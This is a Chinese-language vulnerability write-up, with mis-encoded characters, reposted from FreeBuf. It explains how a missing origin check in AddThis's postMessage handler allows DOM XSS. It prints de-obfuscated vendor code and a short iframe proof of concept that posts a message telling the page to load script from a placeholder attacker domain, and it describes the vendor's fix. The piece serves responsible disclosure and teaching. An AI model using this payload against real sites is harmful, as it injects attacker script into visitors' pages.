本文原創(chuàng)作者:鳶尾
來(lái)源:FreeBuf.COM
AddThis是一款擁有超過(guò)一百萬(wàn)用戶使用的網(wǎng)頁(yè)分享按鈕。在今年早些被發(fā)現(xiàn)存在XSS漏洞。在之前的一篇文章有描述到postMessage API缺陷。而本文將描述我是如何識(shí)別然后利用AddThis分享按鈕中存在的這些漏洞。 ??
當(dāng)我在測(cè)試一個(gè)使用AddThis的網(wǎng)站的時(shí)候,透過(guò)Chrome開(kāi)發(fā)者工具的全局監(jiān)聽(tīng)器,我注意到它使用了postMessage。
window.postMessage("hello", "*")
向頁(yè)面發(fā)送消息
檢查監(jiān)聽(tīng)器
代碼沒(méi)有進(jìn)行來(lái)源檢查,除此之外來(lái)源必須是HTTP/HTTPS頁(yè)面。從5364行可以得知消息的預(yù)期格式:
at-share-bookmarklet:DATA.
繼續(xù)進(jìn)行調(diào)試,我們以合適的格式發(fā)送消息,使代碼在5370行結(jié)束,調(diào)用r函數(shù)。
完成對(duì)r函數(shù)的調(diào)用之后接著調(diào)用s函數(shù):?
說(shuō)起S函數(shù)就非常有趣。它似乎創(chuàng)建了一個(gè)新的腳本元素(或許是DOM XSS?)???
反壓縮
為了理解這個(gè)函數(shù)的作用,我通過(guò)命名變量和刪除多行語(yǔ)句來(lái)進(jìn)行反混淆。
e.exports = function(messageData, t, n, s, u, isTrue) {
if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.
var scriptTag = document.createElement("script");
if("https:" === window.location.protocol){
var isSecurePage = true;
}else{
var isSecurePage = false;
}
var protocol = "";
var headElement = document.getElementsByTagName("head")[0];
scriptTag.setAttribute("type", "text/javascript");
scriptTag.setAttribute("async", "async");
//Check if user is using Chrome/Safari
if(window.chrome && window.chrome.self || window.safari && window.safari.extension){
if(isSecurePage){
protocol = "https";
}else{
protocol = "http";
}
//If the message data starts with "http://", add protocol before
if(0 === messageData.indexOf("http://")){
messageData = protocol + messageData;
}
}
//If the message data starts with "http://"
if(0 === messageData.indexOf("http://")){
scriptTag.src = messageData;
}else{
scriptTag.src = protocol + "http://s7.addthis.com/" + messageData;
}
headElement.insertBefore(scriptTag, headElement.firstChild);
o[messageData] = 1;
return scriptTag;
}
return 1;
}
閱讀經(jīng)過(guò)反壓縮的代碼版本,可以得出結(jié)論,發(fā)送消息的格式大抵如此:
at-share-bookmarklet://ATTACKERHOST/xss.js
它會(huì)新增一個(gè)新的腳本元素到包含了“//ATTACKERDOMAIN/xss.js”的頁(yè)面。換句話說(shuō),存在DOM XSS漏洞。
POC
攻擊者能夠攻擊任何使用了AddThis的網(wǎng)站(存在DOM XSS)。給出我寫(xiě)的exploit供大家參考:
<iframe id="frame" src="https://targetpage/using_addthis"></iframe>
<script>
document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>
修復(fù)
我和Matt Abrams(AddThis的CTO)進(jìn)行了交流,他保證會(huì)盡快修復(fù)該漏洞并及時(shí)推送給終端用戶。該修復(fù)方案增加了一個(gè)來(lái)源檢查以確保消息不會(huì)從未知來(lái)源發(fā)出。
總結(jié)
簡(jiǎn)言之,postMessage通常會(huì)導(dǎo)致DOM XSS漏洞。如果你正在使用第三方腳本,一定要去檢查下postMessage實(shí)現(xiàn)。
原文地址:http://www.freebuf.com/news/123284.html